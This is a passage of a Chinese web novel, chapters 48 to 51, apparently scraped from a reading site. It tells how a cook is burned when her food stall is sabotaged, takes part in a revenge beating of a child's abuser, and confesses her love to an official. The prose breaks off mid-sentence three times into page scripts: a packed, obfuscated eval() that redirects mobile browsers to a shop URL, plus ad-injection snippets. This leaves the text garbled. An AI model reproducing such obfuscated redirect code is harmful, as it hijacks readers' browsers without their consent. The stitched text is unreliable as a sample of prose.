“那现在呢?袁分去哪儿了?”秦见君问。 “在观宏州,吴氏搬到了观宏州,他护送二人回去了。” “那他还回来吗?” “来的,吴氏夫妻不愿见他,他送到地方后便会回来了。” “嗯......”秦见君轻叹了声。 裴眠看向窗外,觉得屋子里气氛有些凝重,于是转换话题道:“那孩子怎么办?你打算如何安置?” 说到这个,秦见君也有些头痛,她并不想买花招弟,倒不是不想帮助她,只是觉得,若是自己花钱买回来,这孩子就同自己绑定了,往后是一定要对她负责的,但未来世事难料,她眼下并不觉得自己能负起养育一个孩子的责任...... 说实话,她觉得袁分是个很不错的“收养人”,孤身一人,没有复杂的人际关系,为人正直且武功高强,只是花招弟有心里阴影,恐怕难以接受袁分...... “我还没想好......” 裴眠看她纠结的模样,大约能猜出她的想法,帮花招弟脱离原来的家,就必须给她一个新的家,显然秦见君还未想好要如何给这个“新家”。 “无妨,且先留在府中,待你想好了再做决定也不迟。” 秦见君看向裴眠——虽然这么想很没出息,但裴眠游刃有余的样子看起来实在太可靠了,她打心底里有点想要依赖裴眠...... 48.第 48 章 裴眠回府后,秦见君还如往常一样做一日三餐,下午备菜,夜晚出摊。 秦见君夜里回来得太晚,眼看袁分不在,裴眠便想让袁原跟着秦见君出摊。 “别别别!袁分好歹是要卖凉皮的,袁原什么都不做,光站那儿多吓人啊......”秦见君没直说,她是怕袁原的冷脸下走客人。 “他可以在暗处......” “不要。”秦见君打断裴眠的话,将熬得浓香的鸡汤递给他,前几日齐冬青来给他把过脉,说他身子稳步向好,多多进补也是可以的。 裴眠接过鸡汤,也不再劝了,绵州巡防是他一手布置的,想来是不会出什么差错的。 秦见君又盛了一碗鸡汤递给花招弟。 经过几日相处,花招弟已不再那么拘谨了,先前还有些怕裴眠,观察几日后,发觉他是个好说话的,又长得好看,于是便放松了不少。 一大一小都端着碗抿汤喝,秦见君忽然觉得自己有种老母亲的既视感...... 她推着推车出门时,裴眠甚至送到了侧门口,裴小之也说过几次,想跟她出摊,但都被拒绝了,她只是做小本生意,派人跟着的话,这人力的消耗都不够赚回本的...... 许是先前梁家包的烟火效果不错,这段时日来绵州看过烟火的百姓又纷纷回乡宣传,带来了更多看热闹的人,后续的烟火都有人包下,桥上位置也统统卖空,如今连灌水河上的花船都难抢...... 秦见君推着推车走在街上,甚至能看见金发碧眼的外国人,她回府问过裴眠,裴眠说大荆沿岸来了许多外国人的船只,好在都是为友好交流而来,官家也正考虑组建船队出海建交,只不过国库空虚,此事还暂无定论。 到巷子里时,谭连丰已经摆好了灯笼摊,看秦见君过来,忙起身招呼。 “今日袁兄弟还不来?”谭连丰用石块将推车轮子卡住,抬头问秦见君。 秦见君摇头道:“还没回来,不过快了,也就这两天的事儿。” “唉......这段日子,日日都有人问凉皮摊去哪儿了,袁兄弟这可错过了许多生意啊......”谭连丰面带惋惜,秦见君知道,出摊的小本生意每一单都极为不易,谭连丰这反应也实属正常。 这晚也是要放烟火的,是以街上人头攒动,摊位前客人络绎不绝,烤羊肉串的香气笼着巷子,又顺着风飘到大街上去,不断吸引新客人前来。 秦见君忙得头都抬不起来,花招弟在一旁帮她收钱,怕被熟人认出来,她还特地包了块面巾,已经被汗水浸透了。 “喂!”一个带着怒意的声音响起。 秦见君稍稍抬眼用余光看了一下,以为是插队闹事的,便温声道:“买羊肉串请后面排队。” 谁知那人并不走,而是伸手从烧烤架上抢了几串肉,高高扬起扔在了地上。 “诶这人做什么呢?” “别闹事啊!等着买羊肉串去河边看烟火呢!” “就是啊!别耽误大伙儿功夫!” 秦见君抬头看向闹事之人,细看后才认出来这人不久前来买过羊肉串。 “这位客人,请问有什么事?”排队的客人很多,秦见君必须保持微笑。 “还问什么事!你这肉是坏的!我兄弟吃完就腹泻了!”男人指着巷尾角落里蹲着的另一个男人道,“大家伙儿都看看啊!这羊肉是坏的!吃了就腹泻!别买!” 原先井然有序的队伍瞬间像是断了线的珍珠项链,歪歪扭扭起来,质疑声此起彼伏,场面有些混乱。 秦见君正要说话,腰侧便被花招弟扯了扯,她弯腰附耳去听。 “那人根本没吃羊肉串,我方才都看见了,这两个人买了肉串,就趁人多扔进了河里,然后又绕回巷尾来闹事......”她方才抽空出去上茅厕的时候看得清清楚楚的。 秦见君蹙眉,这么说来,这两人就是专程来闹事的......毕竟两人吃没吃羊肉串全凭自己的嘴,旁人验证不了...... “大哥,我这儿的羊肉都放在这儿......”说着,秦见君举起一把还未烤过的羊肉,“这肉内行人一看便知好坏......” “我们又不是什么内行人!谁知道你做了什么手脚?不然我这兄弟怎么就吃坏肚子了?”男人不依不饶。 秦见君仍是温和劝道:“许是您兄弟近日肠胃不好,我这羊肉串上的佐料比较杂,并不是每个人的胃都能受住......” “听见没!大家都听见没!她自己说佐料有问题!”男人立刻叫嚷起来。 巷子里除了排队的人外,还有围上来看热闹的百姓,秦见君怕事情闹大,只好低声问那男人:“你要做什么?” 那男人轻蔑一笑,并不搭理秦见君,只大声叫嚷着。 眼见着围过来的百姓越来越多,秦见君额头的汗也越冒越多,正在为难之际,巷子口忽然冒出一声:“放烟火了!放烟火了!快来看啊!”秦见君听出来,是谭连丰的声音。 原本堵在巷子里的百姓呼啦啦往街上去,那男人见势不妙,有些愤愤地趁乱一脚踹翻了推车,烧烤炉中的炭火被扬了出来,一部分砸在墙上,一部分直直冲着秦见君去了。 秦见君躲闪不及,只能抬手格挡护住脸,滚烫的炭砸在衣裳上,溅起的火花刺痛了裸/露在外的手腕,她忍不住痛呼一声,可巷子里充斥着百姓兴奋的叫喊声,还有纷乱的脚步声,她的痛呼无人在意。 “嘶......”秦见君抬手看了看,两只手腕都被烫红了,痛感源源不断,她并未立刻处理,而是四下张望去找花招弟,但花招弟却不见了踪影。 不远处烟火炸响的声音传来,百姓们总算停下脚步,专心抬头欣赏烟火,吵嚷声被淹没了,秦见君趁着这个空档收好银钱,匆匆告知谭连丰,连推车都没要就往知州府去。 裴眠回府后便将重心转至烟火大会上来,待将一切梳理得井井有条后,他便上街亲自感受,秦见君说,只有感百姓所感,才能想百姓所想,于是他吃过晚饭便来了平雅街看瓦舍表演。 从虔渊州请来的瓦舍艺人大多安顿在绵州瓦舍之中,夜里瓦舍戏台上有唱戏、说文的表演,另外有诸如“喷火”“吞刀”等不限场地的表演,则是直接走上大街,许多看过烟火的百姓们更愿意在人不那么多的平雅街上欣赏绝活表演。 起先看见裴眠来瓦舍,百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744504|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓们还都纷纷避让,方圆几米内无人靠近,但次数多了,百姓们便也胆大起来,甚至有上前与裴眠攀谈的,裴眠一一回应,渐渐地百姓对他也见怪不怪了。 戏台上正在唱免费戏文,唱腔悠扬、词曲通俗,裴眠手指搭在轮椅扶手上,轻轻敲着节奏。 秦见君并不知道裴眠出了门,只抓着钱袋往茶马街跑,一边跑一边看左右的巷子中有没有花招弟的身影。 “秦小娘?秦小娘!”裴小之拎着给裴眠的桃子冰酪,在街对面看见疾跑的秦见君,起先还不确定,定睛一看发现真是她! “之管家?”秦见君停下脚步。 裴小之带着秦见君艰难穿过人群,站在了裴眠面前。 裴眠抬头扫了一眼,还未来得及问秦见君怎么来了,就发现她的手腕通红。 “手腕怎么了?” 秦见君抬起手腕,将巷子里的事大致说了说,随即焦急道:“招弟不见了,我一路走过来都没看见她,你能派人去找找吗?” 裴眠挥手让袁原去办,接着抬起手,似是要摸秦见君的手腕,却想忽然想起什么似的,又收回了手。 “小之,回府,去请齐大夫来给她看看。” 于是三人逆着人群匆匆回府。 这边花招弟正躲在巷子杂物堆里向外看——那两个闹事的男人进了侧门。 她蹑手蹑脚地上前,侧门只是一扇小木门,没有任何标识,她只好沿着墙走了一圈,总算找到了大门,她抬头看了看牌匾,上面写着“刘府”,谢天谢天,“刘”字并不难忍,刚好秦见君教过她。 她又走回侧门,趴在木门上透过缝隙往里看,里面是个种着花草的院子,没有半个人影。 绵州撤了宵禁,这会儿路上人还很多,花招弟寻了一户开着院门乘凉的人家问了问,得知这刘府的主人是刘与叶,她先前听秦见君与谭连丰闲聊时提起过这个名字。 方才巷子里乱起来时,花招弟不肯眼睁睁看着闹事的人逃之夭夭,于是连忙拨开人群跌跌撞撞追了出来,她一想到秦见君被围住诬陷,心中怒火就不可遏止。 眼下都跟到刘府了,至少要先给他们一点教训才行...... 花招弟把巷子里的杂物堆了起来,然后拿着刚做好的简易弹弓爬上了墙头,从口袋里抓出一颗石子,架在弹弓上,瞄准窗下的盆栽——“嘭”! 小陶瓷盆被打歪,倒在地上,顺着阶梯“骨碌碌”滚了下去,碰到石板地的瞬间被撞得稀碎。 花招弟连忙缩起来,听到墙内有人骂骂咧咧出来,在院子中骂了几句又走了,于是她又探出头,院子里空无一人,她抬起手瞄准了另一个盆栽。 这时窗户忽然被打开,一个陌生男人怒气冲冲指着花招弟骂:“小蹄子是你打的?给我下来!” 花招弟吓得心里突突跳,转头想爬下杂物堆,可杂物堆本就不稳当,她在上面慌乱踩了几下,本就不稳的杂物堆猛地垮了。 花招弟脚下一空,下意识闭上眼——完了,这么高摔下去会断腿的! 可意料中的疼痛并未到来,她落入一个结实的怀抱,温热的气息扑面而来,她小心地睁开一只眼睛去看——是袁分。 49.第 49 章 “这几日不能碰水,早晚换一次药。”齐冬青将秦见君的手腕包扎好,留了药膏就离开了。 秦见君坐在石凳上,沮丧地垂着头:“我还要做饭呢......” “这几日先不做了。”裴眠道。 “那也不能饿着你......” 裴眠看她很难过的样子,默了默还是没忍住道:“我不饿,我可以跟着大厨房吃。” 秦见君抬头望向他:“什么?” 裴眠微微垂下头,他原是不想说的,自己已经能接受除秦见君做的食物以外的东西了,吃了不会吐,虽然心理上觉得味道一般,但秦见君的手受伤了,他也能将就吃大厨房的。 “你能吃别人做的食物了?”秦见君问,看裴眠点头,她心里有点复杂,他的表情很认真,这回应该没有骗自己。 裴眠能吃别人做的食物了,是好事,说明他不仅身体在好转,心理障碍也在慢慢消失,但......这也意味着,她对他来说不再是唯一且必要的了...... 两人都不说话了,沉默在石桌上蔓延。 “大人。”袁原的出现打破了这份沉默,他带着袁分与花招弟过来了。 “姐姐!”花招弟跑上前,心疼地看着秦见君包扎好的双手,抬起手却僵在半空,不知能不能碰。 “没事,烫伤了,过几天就好了。”秦见君打量了花招弟一圈,见她没受伤便放心了,问,“你跑哪儿去了?” 花招弟说了自己的行踪,秦见君听得直皱眉,不赞同道:“下次不许自作主张了,你还是个孩子,今天是遇到袁分了,下次要是没人救你,你会被揍的!” 花招弟点点头,十分乖巧的样子。 “大人,虔渊州来信。”袁原道。 裴眠看秦见君和花招弟都没事,便让袁原推着去处理公务了。 两人离开后,秦见君便将花招弟也打发回落霞轩了。 “是有什么话要说吗?”袁分问。 秦见君点点头,问他:“你为什么想买招弟?她是个人,不是可以随意抛弃的物品,如果你买她,就要对她的一辈子负责。” 袁分听了,低头思考着,并未直接给出答复。 “你之前为什么想买她?”秦见君又问。 袁分抬头对上秦见君的视线,声音沉沉的:“她......眼睛......像小幽......” 秦见君没料到是这个回答,脸色有些冷下来,沉声道:“别把她当什么替身,她还是个孩子......”接着,她将花招弟与“明哥哥”的事说了,边说边观察袁分的表情。 他起先是错愕,继而是愤怒,待秦见君说完,他的脸色已经黑得不行了。 秦见君对他的反应还算满意,于是试图跟他商量:“招弟很聪明,学字快、动手能力也强,只要好好教,没几年就能靠自己的双手吃上饭,但我......过段日子就要离开知州府了,无权无势,买了她也容易遭人欺负,要是她能跟在你的名下,日子或许会好过很多......到时候我可以带着她在绵州开脚店,你不用为她太费心思......” 袁分不傻,秦见君这话不仅是要他罩着花招弟,还隐隐有想借他之力,保她的脚店在绵州站稳脚跟的意思...... 他倒并不在意秦见君这点小心思,只是他能预想到,若是自己不买花招弟,她早晚也会被家中父母带回去,轻则奴役,重则婚配卖出去,从此生死不论。 花招弟的眼睛,与吴幽实在太像了......在他第一眼看见花招弟的时候就注意到了。 “我会好好考虑。”袁分说完,转身要走。 “袁分......”秦见君叫住他,犹豫了一下,还是问道,“你有没有......那种......道上的朋友?”她不知道该怎么说。 “什么?” “就是......就是可以雇来打人的那种!”秦见君道,因为袁分是最有可能买花招弟的人,所以她才说了明哥哥的事,这事连裴眠她都没说过,既然袁分知道了,不如问问他有没有门道,可以花点钱给那个明哥哥一个教训。 袁分侧头看着秦见君,猜到了她的心思,顿了顿才道:“这事不必费心,我自会给他教训。” “你......”秦见君不清楚袁分身上有多少钱,怕对方破费,于是委婉道,“雇人的钱我出吧......” 袁分微微摇头:“不必,我亲自去。” 秦见君这才反应过来——对啊,袁分虽然断了一臂,但还是比普通百姓的功夫要强,这事他完全可以亲自做,根本不用雇人! “那到时候,能带上我吗?”秦见君问。 袁分略有些惊讶——印象中秦见君只是个柔柔弱弱的小厨娘,与报仇打架这事是不沾边的...... 秦见君也不解释,只等着他说话。 “行。” 接下来的几日,秦见君并没有出摊,只待在府中养伤,裴眠也由每日出门改为隔两日出门,每次从外面回来都会给秦见君与花招弟带东西,有时是吃食,有时是小玩意儿。 秦见君在落霞轩翻来覆去地数银钱,不知该喜还是该忧——虽然摆摊有些断断续续的,但赚的还真不少,八月继续出摊的话,待烟火大会结束,她就能攒够五两金了 ...... 现在裴眠能吃大厨房的饭菜了,听裴小之说,他站立的时间也越来越长,偶尔走一段路都不会觉得累了。 也就是说,即便自己离开裴府,也不会对裴眠造成什么影响......可是这样的话,她就不能再见到裴眠了...... 他于细节流露出的关切并不作假,加上这段日子时时在府中陪着自己,而且出门也会顺手带小礼物回来......这很难让她不多想——或许裴眠对自己也是很有好感的呢? 但这种事也不好问出口,他们中间的薄膜一旦被戳破,便无法还原了...... 秦见君坐在屋子里,双手垂在膝边,侧着头枕在桌上,叹了口气。 “姐姐,你怎么了?”花招弟一直跟在秦见君身边,对她这几日的情绪感知十分敏感。 秦见君换了一边脸枕在桌上,与花招弟对上视线——她气色好多了,脸颊上也长了点小肉,那双黑白分明的眸子特别亮、特别好看。 吴小姐就是这样一双眸子吗?袁分喜欢吴小姐什么呢? 正想着,袁分就来了,他特地避开花招弟,与秦见君说了今夜行动。 虽然撤了宵禁,但绵州夜里也并非彻夜热闹,子时过后,街上便也渐渐冷清下来。 秦见君等花招弟睡着了,轻手轻脚地起床推门出去了。 知道要参与这种行动,秦见君早就拖小厮帮她买了一套玄色男装,这会儿穿上新衣裳,再用面巾蒙住脸,再加上夜色浓黑,还是有一定隐藏作用的。 到了约定好的接头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 处,袁分便对秦见君道:“待会儿我会引他来巷子里,等我制服他后你再现身。” “好。”秦见君躲在巷子转角点头。 不一会儿,巷子深处传来打斗声,还有闷哼声,似是被什么东西堵住了嘴发出的。 秦见君静静等着,待打斗声停了,她才摸黑走过去,借着月光,她看见一个被打成猪头的年轻男人。 袁分没说话,只抱臂靠在一旁的墙上等着。 秦见君上前两步,身前阴影笼罩住角落里的人,这人还以为她是来救自己的,拼了命呜呜出声。 秦见君扫了一眼,他身上几乎没什么好皮了,但她并未同情怜悯,而是抬腿对着那人胯/下猛踹一脚! 站在墙边的袁分原本泰然自若的动作微微一僵,有些震惊地看着秦见君眼中迸发的怒意与狠绝——平日里看着温和柔弱,没想到还有这么阴暗的一面。 “呜!!!”角落里的人蜷其身子,浑身颤抖不止。 秦见君觉得不解气,又抬腿踹了好几脚,直到腿酸了才停下。 最后袁分弯腰一个手刀将那人劈昏了过去,全程两人都没有出声,直到回了府,秦见君才开口问:“要是明天没人发现他,他会死吗?” 袁分摇头:“那巷子白日里会有菜农经过。” “嗯。”秦见君稍稍放心,打一打给个教训就算了,她可不想沾上人命,毕竟在前二十多年的教育中,她对生命的敬畏已经深深根植心底了。 打人让肾上腺素飙升,秦见君此时有些兴奋,看见袁分,脑子里就不可避免地想起那位吴幽小姐,忍不住问道:“袁分,你怎么发现自己喜欢吴小姐的?” 这话题太突兀了,问得袁分一愣。 “就是......好奇......要是你不想说,就不说了......”秦见君反应过来自己可能问到别人伤心事了...... 袁分倒是并不介意,他与吴幽的感情从一开始就避着人,后来被吴父吴母发现,直接引来怒火,接着便被拆散,从此阴阳两隔,细想下来,这么多年,他竟然从未平静地同任何人说过这份感情。 “她很好......”提起吴幽,袁分的神色缓和了许多,秦见君还是第一次看到他这个表情。 这故事对秦见君来说并不算新鲜,无非是类似于“小姐与长工”的情节。 “既然你这么喜欢吴小姐,为什么不直接跟吴老爷说呢?”虽然只见过一面,但秦见君还是觉得那个吴老爷和吴夫人应该挺好说话的。 袁分垂下眸子:“其实那时我并不那么确定自己的心思,所以老爷发现这件事后将我派出去,我也并未拒绝......”说到这里,他顿了顿才继续道,“是在我离开她之后,才渐渐明确了心意......” 秦见君大概能理解他在想什么,袁分这样的人,做了决定就是一辈子的,所以做决定前都会比较谨慎,但就是因为这份谨慎、因为这点纠结,而错过了心爱之人...... 与袁分告辞后,秦见君并未直接回落霞轩,而是去了池塘边。 经过一个月的修整,荷塘里又开满了荷花,碧绿的荷叶浸在夜色中,随着微风轻晃,发出叶边相蹭的娑娑声。 秦见君心里有些乱,脑袋放空地站在池塘边发呆。 “秦见君。” 静谧的夜里忽然有人喊自己的名字,秦见君被吓一跳,猛地回头看过去,居然看见裴眠在身后不远处。 50.第 50 章 “怎么还没睡?”两人一同开口,又一同噤声。 裴府内发生的事自然躲不过裴眠的耳目,袁原一早就向他禀报过秦见君深夜离府之事,他来这里也是为了逮她。 秦见君想撒谎,但低头看见自己这身衣裳,又看向裴眠清澈的眸子,自知是什么都瞒不过的。 裴眠也不戳穿,上下打量了她一番,问:“还不困?” 秦见君叹了口气,肩膀微微塌下,她挪着步子走到轮椅边,声音有些轻:“裴眠......” “嗯?”裴眠见她恹恹的样子,怕她是在外头受了伤,于是有些紧张地坐直了身子,借着月光仔细打量她。 “你有喜欢的人吗?” 冷不丁听到这个问题,裴眠的目光一顿,转而看向秦见君的眸子——她发现了?我该如何回答? 见裴眠怔怔的样子,秦见君索性摘了一朵荷叶垫在地上,一屁股坐在轮椅边,与裴眠一同看着夜色池塘。 “没想过吗?”秦见君盘腿坐着,双手捧着脸道,“我想过的......” 裴眠还是不说话,他侧头看着秦见君,她脸上有点灰,混着汗黏在鬓角,但丝毫不让人觉得她邋遢,反而将白皙的肤色衬得更亮。 “我觉得......”秦见君说着,转过脸去看裴眠,视线相交的瞬间,声音响起,“我还挺喜欢你的。” 与那日的烟火声不同,秦见君的声音轻轻柔柔的,但还是让裴眠感到一瞬的耳鸣。 “啊......”裴眠张了张嘴。 秦见君微微撅起嘴,不是很懂裴眠这声的意思是什么——并不是声调上扬的惊讶或疑问,而是平直的“啊——”了一声。 裴眠的嘴发出声音后便没再合上,有些呆地僵在那儿,表面看着是沉静的,但内心已经一团乱麻了——我要说什么?说我也喜欢你,然后求亲?她父母并不在绵州,求亲要去井沟村......可是她与父母的关系好像不大好......当初就是逃婚才跑出来,她是不是不喜欢成亲?要怎么办? 秦见君等了一会儿,忍不住探了探身子问:“‘啊’什么?你没有什么要跟我说吗?” 裴眠看她的表情有些要沉下去了,这才从自己的思绪中抽身,有些慌乱道:“有!有的......” 秦见君整个身子都转了过来,面对着裴眠,等他说话——管它薄膜戳破后能不能复原呢,若是像袁分那样阴差阳错地走向悲剧结局,她才会悔恨终生! “我......”裴眠觉得指尖有些发麻,连带嘴也变得迟钝了——要怎么说才能让她不那么抗拒成亲呢?但她说她有点喜欢我......“有点”是多少?会不会只是告知一下,并没有要成亲的意思? “你不喜欢我吗?”秦见君看他半晌憋不出话,忍不住直接问了。 “喜欢!”这次裴眠说得很快,似是再晚一刻秦见君就会飞走似的。 秦见君抿唇低下头,忍不住挑挑眉,虽然她心中早有隐约的预感,但听他亲口承认,心中还是十分欢喜的! “那我们......”的婚事要怎么办? “那我们互相喜欢,就可以谈恋爱了吧?”两人的声音又一次同时响起,秦见君仰起脸,眼底亮晶晶的。 “额......谈恋爱?”裴眠歪了歪脑袋,有些疑惑。 “对啊,谈恋爱!”秦见君忽然想到,大荆的男女感情似乎都十分“直接”,要么是媒人介绍,盲婚哑嫁,要么是自己看对眼,手都没牵过就上门提亲...... “谈恋爱就是......多相处相处,等相处下来觉得合适,再考虑成亲的事。”秦见君解释道。 “相处?”裴眠微微脑袋更歪了,还是不理解——她是不想嫁给我吗? 秦见君有些犯难了,要如何同他解释“谈恋爱”的意思呢?尤其是恋爱期间可能还要摸摸小手......亲亲小嘴,他会觉得这些都是“孟浪”的行为吗? 裴眠看秦见君站起身蹙起眉头,表情越来越不对,他忙当机立断道:“谈,我谈。” “诶?”秦见君惊讶,“你知道‘谈恋爱’是什么吗?” 裴眠诚实地摇头道:“不知,你能教我吗?” 虽然不知道“谈恋爱”是什么,但听秦见君的语气,总归是比寻常人要更亲密一些的关系,而且她说了,若是相处下来觉得合适,就可以成亲,他自己也觉得现在成亲太仓促,再等等或许会更好...... 秦见君点点头,看着月光在裴眠脸上起伏,描绘他俊朗的轮廓,忽然后知后觉有点晕乎乎的——所以现在我有男朋友了? 其实今夜的表白她自己都未曾想到,许是打人打得有点上头,身体和脑子都太兴奋,又许是被袁分与吴幽的故事给吓住,害怕犹犹豫豫会导致悔恨终身...... 不过总而言之,结局还是很好的,有裴眠这么个帅气的男朋友,她很很很满意! 也不知是如何道别的,秦见君直到躺回床上,心还在砰砰直跳。 “姐姐......” 秦见君看到花招弟亮晶晶的眸子,吓了一跳,手放在胸口顺了好几下才找回声音:“我吵醒你了?” 花招弟摇摇头,她夜里睡得浅,秦见君起床溜出去的动静根本瞒不过她。 “睡不着?”秦见君问,正好她也睡不着,跟花招弟聊聊天也不错。 “姐姐去做什么了?”花招弟问,这段日子跟着秦见君,从未挨骂、挨打,她的胆子也大了不少。 “去惩恶扬善了。”秦见君道。 花招弟有些好奇,便追问:“惩罚了谁?” 秦见君觉得应该告知她,毕竟受了欺负就应该想方设法还回去,而不是默默承受。 “你家隔壁的那位明哥哥。” 花招弟的眼睛都瞪大了,眼中不仅有惊讶,还带着些畏惧:“他......他打你了吗?” 秦见君好笑道:“他打我还能叫什么‘惩恶扬善’?当然是我打他了!袁分带我去的,他武功很好你知道吗?三两下就把那个明哥哥打得爹娘都不认识了,然后我就上前猛踹他......” 秦见君绘声绘色地说着,花招弟跪坐在床上听,不知不觉,眼中的光越来越亮,最后近乎崇拜地望着秦见君。 秦见君“夸耀”了一番自己的“丰功伟绩”,收到花招弟崇拜的目光,觉得身心舒畅,想着反正孩子已经醒了,索性去打了水回来擦脸,刚浸湿毛巾便听到花招弟的声音。 花招弟趴在床上,脑袋搁在交叠的手臂上,小声问,“姐姐,我何时会长大?” “怎么了?你着急长大?”秦见君笑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,犹记得自己小时候,也无比盼望着长大,似乎长大了就能掌握自己的人生,能做自己想做的事,可只有长大了的人才知道,成人世界的烦恼也并不比孩子少。 没想到花招弟摇了摇头,下巴在手臂上蹭着:“不是的,我不想长大......娘说长大了就把我嫁出去,换彩礼钱......” 她垂着眸,与方才亮晶晶的样子大相径庭,一室的月光也照不进去一点,雾蒙蒙的。 “我不想嫁人......”花招弟的声音平静,并未如秦见君想象中带着哭腔,“兰花嫁给了米铺老板,每日都要挨打;小天嫁给了书生,那书生考不上功名,一家人都吃不起饭,小天出去做工,眼睛要瞎了、手也全裂开了;娘嫁给爹,生了我......” 她数完这些,总结道:“我不想嫁人,我想被你买......” 秦见君拧干了毛巾,手搁在膝头,叹气道:“我不会买你。” 花招弟支起手臂撑起上半身,脸上尽是迷茫与害怕。 秦见君走过去坐在床边,伸手摸了摸花招弟的头发,声音有些发沉:“我不会买你,因为我没办法对你负责,我......养不好孩子......”说到这里,她低了低头,而后又抬起,看着花招弟继续道,“但我会给你找个好人家。” “袁分吗?”花招弟直呼袁分姓名,声音不再轻缓,而是有些尖锐。 “如果你能接受他......” “若是他买了我,我还能跟着你吗?不需要你负责的......”花招弟头一次打断秦见君的话,方才的尖锐转瞬即逝,这会儿她又用近似哀求的语气问秦见君。 “袁分同意的话......当然......”秦见君答。 “我接受他。”花招弟忙道,“我愿意被他买。” 秦见君忍不住看着她,女孩的眼中写满了坚定,还有些决然在其中。 “你想好了?”秦见君问。 花招弟点头道:“想好了。” “那你要自己去跟袁分说。”秦见君道,虽然不知这孩子怎么又改了心意,但袁分确实是值得信任的人。 两人重新睡下时,已是后半夜了。 秦见君睡得有些不安稳,梦中回到了那个黑雾蒙蒙的操场,周围涌上来源源不断的寒气,似是有什么怪物隐藏在黑雾中吐息,下一秒便要张开血盆大口将她吞进去。 她怕得不行,抱着腿蹲在地上,将头埋入双膝间,忽然听到有人叫自己,她没敢动,但那叫声越来越大,她便忍不住抬头看,黑雾之中似乎有了光...... “秦小娘?秦小娘?” 秦见君迷迷糊糊转醒,分辨出这是裴小之的声音,睁开眼,屋子里已经大亮了,她竟十分庆幸自己被吵醒,因为如此才能逃出梦魇。 “秦小娘,你醒了吗?”裴小之的影子映在门上。 秦见君应了一声。 裴小之听到了,身后的裴眠自然也听到了。 “郎君,秦小娘醒了,听着没什么事。” 裴眠点头,他昨夜回房睡得稀里糊涂的,早早便醒了,睁眼后有些怀疑昨夜是不是自己的混沌梦境,于是想来落霞轩求证,可过了秦见君平日起床的时辰她还迟迟未出门,他便又忍不住担心她是不是身子不舒服...... 51.第 51 章 秦见君坐起身时意识逐渐回笼,忽然意识到裴小之来找自己,是不是说明裴眠也来了? 她迅速清醒过来,花招弟眼睁睁看着她着急忙慌地在屋子里转了好几圈,又是梳头又是换衣裳的,最后走回床边问:“我眼角擦干净了吗?” 花招弟看着秦见君激动得有些发红的脸蛋,觉得她可真是好看,尤其还心善,又好看又心善...... “嗯?招弟?发什么呆?” “擦干净了!”花招弟忙回神道。 秦见君长舒了一口气,这才转身去开门。 “秦小娘,郎君等你好久了,今日怎么起得这么迟?”裴小之问。 秦见君昨夜又是打人,又是表白,又是夜谈的,根本没睡多久,自然起不来...... “我......”她有些尴尬地抠抠脖子,想着要如何糊弄过去。 “无妨,我还不饿。”是裴眠的声音。 秦见君侧弯着腰,绕过裴小之去看裴眠。 他今日有些不一样,虽然衣裳还是一如既往地精致漂亮,但秦见君眼尖地发现他腰上挂了玉佩,与发冠上的玉是一样的花纹。 “早上好呀!”秦见君冲他笑。 “早。” 她笑容亲近又灿烂,但裴眠还是有些不确定,心里盘算着待裴小之走开了,他再问问秦见君昨夜的事。 “之管家......”门内传来花招弟的声音。 “怎么了?”裴小之弯下腰,尽量平视花招弟,他从未见过如此别扭的孩子,觉得很新鲜。 “我想......找袁分......” 裴小之转头去看秦见君,秦见君微微耸肩,歪了歪头,示意他帮帮忙。 于是裴小之牵着花招弟出门了,走前还问:“郎君、秦小娘,我带招弟去外头吃,你们有什么要我带的吗?” 两人都摇了摇头,裴小之总觉得二人的表情有些难以言喻的急切...... 秦见君:速走,别耽误我跟我新鲜热乎的男朋友培养感情! 裴眠:快走,我还要问秦见君的话。 裴小之手臂爬上鸡皮疙瘩,觉得有些诡异,但手被花招弟轻轻拽了拽,他便不去想那么多了,拉着女孩出了门。 清晨的日光洒满了落霞轩,地面鱼鳞闪闪发亮,墙边绿植随风摇曳。 “咳......”裴眠觉得院子里有些静,于是想了个话题起头,“招弟找袁分做什么?” “昨晚我跟招弟聊天,她说想被袁分买,以后就由袁分养着她。”秦见君道。 “嗯......” 没话了。 裴眠低头顺了顺玉佩下的穗子,又将衣摆上的褶皱抚平,左摸摸又拽拽,就是不知道该如何开口。 他觉得此时的自己有些陌生,从前无论是在大殿上官家与众官面前,或是这段日子入闹市体会烟火大会,他都没有现在这么不自在......不知道该如何开口,甚至不敢直视她的眼睛...... 裴眠这样反常,秦见君一下便看出来了,原本她也有些紧张,但看裴眠这样子,她忽然就放松了下来。 人与人之间的相处便是如此,当有人比你更紧张、更无措时,你反而会变得放松下来。 “裴眠......”秦见君弯腰,将脸凑到裴眠视线中,他有些猝不及防,下意识要往后躲,但动作到一半便克制住了,僵硬地坐在轮椅中,呼吸都变得浅浅的。 “你在想什么?”秦见君问。 裴眠的眼神闪躲,秦见君看他的喉结动了动,明显是有话要说。 “你怎么了?”秦见君蹲下身,仰头看着他,不解地问,“怎么谈恋爱之后反而不说话了?” 裴眠听了,抬头怔住——嗯......她方才说的是“谈恋爱”吧? “我......”裴眠说话了,秦见君挑起眉,身子前倾,认真听着。 “我......没什么要说的。” 秦见君:“......”有点无语,这个闷葫芦。 不过自己选的男朋友,自己宠。 她扯了个笑出来,站起身道:“那你等等,我洗漱一下,去给你做早饭。” 裴眠点头,坐在轮椅中看着她在院子里洗漱。 院中水井里的水凉丝丝的,扑在脸上能驱散起床后的燥热与油气,秦见君擦干了脸,回屋子取了牙粉和牙刷,在将牙刷塞进嘴里之前,她转头看了一眼裴眠。 他正目不转睛地盯着自己,秦见君有点犹豫——刷牙的时候脸会被牙刷顶得变形......有点难看...... “我要刷牙了。” “嗯。”裴眠应了一声,依旧目不转睛。 